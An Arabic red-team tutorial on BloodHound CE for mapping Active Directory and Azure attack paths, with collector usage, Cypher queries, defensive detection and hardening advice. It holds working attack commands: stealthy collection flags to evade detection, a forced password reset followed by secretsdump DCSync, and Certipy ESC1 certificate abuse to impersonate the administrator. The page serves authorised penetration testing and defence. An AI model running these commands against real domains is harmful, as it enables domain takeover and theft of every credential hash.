الفرق الحمراء — الهجومخبير100mL49

إتقان BloodHound — تحليل مسارات هجوم AD

استخدام Cypher للبحث عن ثغرات التحكم في النطاق

#BloodHound#AD#Cypher#SharpHound#Azure

ما هو BloodHound — و لماذا غيّر AD pentesting إلى الأبد؟

تشبيه — شرح مبسط
Active Directory مثل مدينة فيها عشرات آلاف الموظفين، الأبواب، البطاقات، الصلاحيات. قبل BloodHound، المهاجم يفحص باباً واحداً في كل مرة. مع BloodHound، تستورد كل المدينة في graph database و تسأله: "ما أقصر طريق من هذا الباب الجانبي إلى مكتب الـ CEO؟" — و يرسم لك السلسلة كاملة بضغطة زر.
استخدام مصرّح به فقط
BloodHound يجمع كم هائل من بيانات الـ AD. تشغيله ضد domain غير مفوّض = جريمة. استخدمه في pentest موقّع، أو مختبر AD محلي (HTB Pro Labs، GOAD، VulnLab).

BloodHound CE (Community Edition) هو الـ standard الحالي (2024+) — استبدل النسخة القديمة Legacy. هو client-server: SharpHound/AzureHound يجمع، BloodHound CE يحلّل و يُصوّر.

مكونات النظام — افهم القطع قبل التشغيل

  • SharpHound (.NET): الـ collector لـ on-prem Active Directory. يُشغّل من جهاز مرتبط بالـ domain (أو Linux مع creds).
  • AzureHound (Go): الـ collector لـ Azure AD / Entra ID. يقرأ Microsoft Graph + ARM APIs.
  • BloodHound CE: التطبيق الذي يستورد JSON و يعرض الـ graph.
  • Neo4j: قاعدة بيانات graph الخلفية. لا تتفاعل معها مباشرة عادة، لكن يمكنك الاستعلام بـ Cypher.
  • الـ "Edges": العلاقات (MemberOf, AdminTo, GenericAll, ForceChangePassword, …) — هذه هي قلب التحليل.

تركيب BloodHound CE — Docker (الأسرع)

bash
# يتطلب Docker + Docker Compose
git clone https://github.com/SpecterOps/BloodHound.git
cd BloodHound/examples/docker-compose
docker compose pull
docker compose up
# افتح http://localhost:8080
# username: admin, password يُطبع في log أول تشغيل
docker logs bloodhound 2>&1 | grep "Initial Password"
ملاحظة سريعة

BloodHound CE يستبدل BloodHound Legacy. إن وجدت دروساً قديمة تذكر BloodHound.exe، فهي legacy. الـ CE ويب-بيس و أكثر استقراراً.

جمع البيانات — SharpHound

01
التشغيل من جهاز Windows في الـ domain
powershell
# نزّل SharpHound من https://github.com/SpecterOps/SharpHound/releases
# أو ضمن BloodHound CE → File Ingest → Download collector

# الافتراضي: كل شيء عدا session enumeration
SharpHound.exe -c All

# التفاصيل:
# DCOnly      — فقط معلومات DC، لا يلمس أي جهاز آخر (الأقل ضوضاء)
# Default     — DC + group memberships + sessions + local admin
# All         — كل شيء (الأعلى تغطية، الأكثر ضوضاء)
# Session     — من الذي يسجّل دخول أين الآن
# LoggedOn    — مثل Session لكن أكثر دقة (يحتاج local admin)
# ACL         — العلاقات الأهم — اجمعها دائماً
02
من Linux (لا يلزم وجود الجهاز في الـ domain)
bash
# bloodhound.py — Python alternative
pip install bloodhound
bloodhound-python -d corp.local -u user -p 'Pass!23' \
  -c all -ns 10.10.10.10 --zip
# يخرج .zip جاهز للرفع
03
OPSEC أثناء الجمع
  • --Stealth: يخفّف الضوضاء، يتجاوز الـ collection methods التي تستفز EDR.
  • --JitterPercent 30 --Throttle 1000: عشوائية + تأخير بين الطلبات.
  • --ExcludeDomainControllers: لا تفحص DCs مباشرة — قد تستفز ATA/Defender for Identity.
  • تجنب All في بيئة محرجة: -c DCOnly,Group,LocalGroup,GPOLocalGroup,Trusts,ACL أكثر هدوءاً.
  • ابدأ بـ DCOnly: لو نجح بدون كشف، توسّع تدريجياً.
04
الرفع لـ BloodHound
text
BloodHound CE → الزر "File Ingest" → Drag & drop الـ .zip
أو في legacy: ادخل واجهة Neo4j → Upload Data → اختر JSON files
الانتظار: domain متوسط ~15-30 دقيقة على import

جمع Azure — AzureHound

bash
# Linux/Windows، Go binary
azurehound list -u 'user@tenant.onmicrosoft.com' -p 'Pass!' \
  --tenant abcd-efgh-... -o azure.json

# أو بـ refresh token (أكثر صمتاً)
azurehound -r '<refresh_token>' --tenant ... list

# يجمع: users, groups, apps, service principals, role assignments, devices, subscriptions, RGs
نقاط قوة Azure
BloodHound يكشف pivots حقيقية في Azure مثل: service principal له role في إيجار آخر، أو group nested membership عبر external invite، أو subscription Owner من عبر cross-tenant trust. لا تجد هذه إلا بـ graph traversal.

الاستعلامات الجاهزة — قائمة العشرين الأولى

في BloodHound اضغط على Search → Pre-built Queries:

Quick Wins
  • Find all Domain Admins
  • Find Shortest Paths to Domain Admins
  • Find Principals with DCSync Rights
  • Find Computers where Domain Users are Local Admin
  • Find Kerberoastable Users with Path to DA
  • Find AS-REP Roastable Users (DontReqPreAuth)
Big Lateral Movement
  • Find Computers with Unsupported OS
  • Shortest Paths from Owned Principals
  • Find users with Constrained Delegation
  • Find computers with Unconstrained Delegation
  • Find ADCS abuse paths (ESC1-15)
  • Find LAPS read access
Sneaky / Cleanup
  • Find Disabled accounts that are Kerberoastable
  • Find PrincipalsWith DangerousACE on the Domain
  • Find owned objects (mark as red)
  • Find sessions of Domain Admins on non-DC
Azure
  • Find Global Admins
  • Service Principals with Microsoft Graph
  • Apps with dangerous Graph permissions
  • Path from on-prem to Azure (hybrid escapes)

Cypher — لغة BloodHound السرّية

تشبيه — شرح مبسط
SQL يقول: "أعطني صفوفاً". Cypher يقول: "ارسم لي شكلاً". الجداول vs الـ graphs. كل شخص محترف في BloodHound يكتب Cypher، لأن الاستعلامات الجاهزة تغطي 30% فقط من الحالات.
cypher
// 1) كل المسارات من user محدد إلى Domain Admins
MATCH p=shortestPath((u:User {name:"BOB@CORP.LOCAL"})-[*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"}))
RETURN p

// 2) أين له Domain User صلاحية write على computer
MATCH p=(u:User {name:"DOMAIN USERS@CORP.LOCAL"})-[r:GenericAll|GenericWrite|WriteDacl|WriteOwner|AddMember]->(c:Computer)
RETURN p

// 3) Kerberoastable + path لـ DA — السلاح الأقوى
MATCH (u:User {hasspn:true})
MATCH p=shortestPath((u)-[*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"}))
RETURN u.name, p
ORDER BY length(p)

// 4) كل المستخدمين الذين لا يتطلبون Pre-Auth (AS-REP roastable)
MATCH (u:User {dontreqpreauth:true})
RETURN u.name, u.enabled

// 5) كل GPOs و من يحرّرها — تعديل GPO = code execution على آلاف الأجهزة
MATCH p=(s)-[r:GenericAll|GenericWrite|WriteOwner]->(g:GPO)
RETURN p

// 6) مسارات من جهاز "owned" (علّمته red) لأي high-value target
MATCH p=shortestPath((c:Computer {owned:true})-[*1..]->(t {highvalue:true}))
RETURN p LIMIT 50

// 7) مستخدمين لم يسجّلوا دخول منذ 6 شهور — حسابات نائمة جيدة لـ persistence
MATCH (u:User)
WHERE u.lastlogon < (timestamp()/1000 - 15768000)
  AND u.enabled = true
RETURN u.name, u.lastlogon
ORDER BY u.lastlogon

مفهوم Edges — أهم 15 يجب أن تعرفها

عضويات و ACL
  • MemberOf: عضوية مجموعة. الـ traversal الأساسي.
  • AdminTo: لـ user/group صلاحية local admin على computer.
  • GenericAll: تحكّم كامل بالـ object — أقوى ACL.
  • GenericWrite: كتابة معظم attributes.
  • WriteOwner: تستطيع جعل نفسك المالك ثم تعطي نفسك GenericAll.
  • WriteDacl: تعديل ACL → اعطِ نفسك أي صلاحية.
Kerberos abuse
  • AllowedToDelegate: Constrained Delegation.
  • AllowedToAct: RBCD (resource-based constrained delegation).
  • HasSession: مستخدم مسجّل دخول هنا → احصد NTLM/Kerberos cache.
استعادة كلمات المرور
  • ForceChangePassword: غيّر كلمة سر مستخدم آخر بدون معرفة القديمة.
  • AddMember: أضف نفسك لمجموعة قوية.
  • ReadLAPSPassword: اقرأ كلمة سر local admin من LAPS.
  • ReadGMSAPassword: اقرأ كلمة سر gMSA.
Tier-0 / Domain control
  • DCSync: اقرأ كل hashes من DC — game over.
  • GetChangesAll: نفس الشيء (تركيبة من Replication permissions).
  • SyncLAPSPassword: قراءة LAPS عبر AD replication.

سيناريو حقيقي — من Domain User لـ Domain Admin في 4 خطوات

01
Mark as Owned

التقطت hash لـ jsmith عبر Responder. كليك يمين عليه في BloodHound → Mark User as Owned.

02
Shortest Path from Owned

قم بتشغيل الاستعلام الجاهز "Shortest Paths from Owned Principals". ترى:

text
jsmith → MemberOf → IT-SUPPORT
IT-SUPPORT → ForceChangePassword → svc_backup
svc_backup → MemberOf → BACKUP_OPERATORS
BACKUP_OPERATORS → DCSync → CORP.LOCAL
03
نفّذ السلسلة
bash
# 1) jsmith → غيّر كلمة سر svc_backup
net user svc_backup NewP@ss123 /domain
# أو via Set-DomainUserPassword (PowerView)
Set-DomainUserPassword -Identity svc_backup -AccountPassword (ConvertTo-SecureString 'NewP@ss123' -AsPlainText -Force)

# 2) سجّل دخول كـ svc_backup → نفّذ DCSync
secretsdump.py CORP/svc_backup:'NewP@ss123'@DC.CORP.LOCAL -just-dc

# هنا: كل NTLM hashes في الـ domain → including krbtgt → Golden Ticket forever
04
نظّف

أعد كلمة سر svc_backup للقيمة الأصلية إن أمكن. وثّق كل خطوة في الـ report. لا تترك ticketing artifacts.

ADCS — ESC1 إلى ESC15 عبر BloodHound

BloodHound CE يكشف كل ESC paths تلقائياً عبر edges مخصصة:

  • ADCSESC1: قالب يسمح بـ SAN spoofing → certificate كأي مستخدم.
  • ADCSESC3: enrollment agent template → اطلب cert نيابة عن DA.
  • ADCSESC4: vulnerable ACL على template.
  • ADCSESC6: EDITF_ATTRIBUTESUBJECTALTNAME2 على CA.
  • ADCSESC7-9: NTLM relay → CA endpoints.
  • ADCSESC13: OID group link abuse.
bash
# الاستغلال بعد الكشف:
# Certipy (الأداة الموحّدة)
certipy find -u user@corp.local -p Pass! -dc-ip 10.0.0.1 -vulnerable
certipy req -u user@corp.local -p Pass! -ca CORP-CA \
  -template VulnTemplate -upn administrator@corp.local
# نتيجة: cert يصادق كـ administrator → DA

نصائح احترافية يستخدمها red teams

  1. اجمع البيانات قبل الحاجة: SharpHound في بداية الـ engagement حتى لو لا تعرف ماذا ستفعل بها.
  2. استورد على instance خاص: لا تخلط بيانات clients. Docker per-engagement.
  3. اضغط على عقدة و اختر "Set as Starting Node" + "Set as Ending Node" → "Pathfinding".
  4. "Mark as High Value" للأنظمة الحساسة (file servers، Exchange، PKI، Tier-0). Pathfinding يفضّلها.
  5. استخدم Tab "Analysis" — fans-out and fans-in counts تكشف bottlenecks في الـ AD.
  6. Custom queries.json: احفظ Cypher الخاصة بك للاستخدام عبر engagements.
  7. تتبّع الـ "Outbound Object Control" لكل user تخترقه — ماذا يستطيع أن يعمل؟
  8. BloodHound + ldapdomaindump: تكاملان جيد، ldapdomaindump أسرع للملخصات النصية.
  9. لا تنسَ الـ trusts: غالباً ما يُهمل، لكن child domain trust → forest pivot.
  10. قبل كل اختراق: Cypher يخبرك بأقصر طريق. لا تتحرك أعمى. كل عضوية مجموعة تضيفها = ضوضاء.

الكشف من جانب الدفاع — كيف تُلتقط؟

مؤشرات تشغيل SharpHound
  • كم هائل من LDAP queries من جهاز واحد في وقت قصير.
  • SMB sessions مع كل host في الـ domain (lateral session enumeration).
  • Microsoft Defender for Identity ينبّه على "Reconnaissance using directory services queries".
  • Honey objects: حساب وهمي بـ SPN جذّاب → لو تم Kerberoast = مهاجم.
  • ACL changes غير معتادة، خاصة على gMSA و LAPS-readable groups.

الدفاع — هندسة AD غير قابلة للـ BloodHound

مرجع دفاعي عملي
  1. Tier model صارم: Tier-0 (DC, ADCS, Entra Connect)، Tier-1 (servers)، Tier-2 (workstations). لا تسجيل دخول عبر الـ tiers.
  2. LAPS لكل local admin: كل جهاز كلمة سر فريدة، تتغيّر دورياً.
  3. Kerberoast hardening: gMSA لكل service account، disable RC4، AES فقط.
  4. ADCS hardening: راجع كل template، disable SAN في user templates، EDITF_ATTRIBUTESUBJECTALTNAME2 معطّل.
  5. Constrained delegation فقط — لا Unconstrained على أي host.
  6. راقب ACL changes على objects قيّمة — تنبيه فوري.
  7. Privileged Access Workstations (PAW) لـ Tier-0 admins.
  8. شغّل BloodHound على نفسك دورياً — اعرف paths قبل المهاجم.
  9. Microsoft Defender for Identity (مدفوع) — يكشف معظم تقنيات BloodHound + Kerberoast + DCSync.

مصادر للإتقان

  • BloodHound Docs: bloodhound.specterops.io — رسمي و محدّث.
  • SpecterOps blog: مقالات عميقة من المطوّرين.
  • HTB Pro Labs (Dante, Offshore, RastaLabs): AD environments واقعية.
  • GOAD (Game of Active Directory): مختبر مجاني يُنشأ بـ Vagrant.
  • SANS SEC560/SEC565: تدريبات احترافية.
  • كتاب The Hacker Playbook 3 + Pentesting Active Directory by SpecterOps.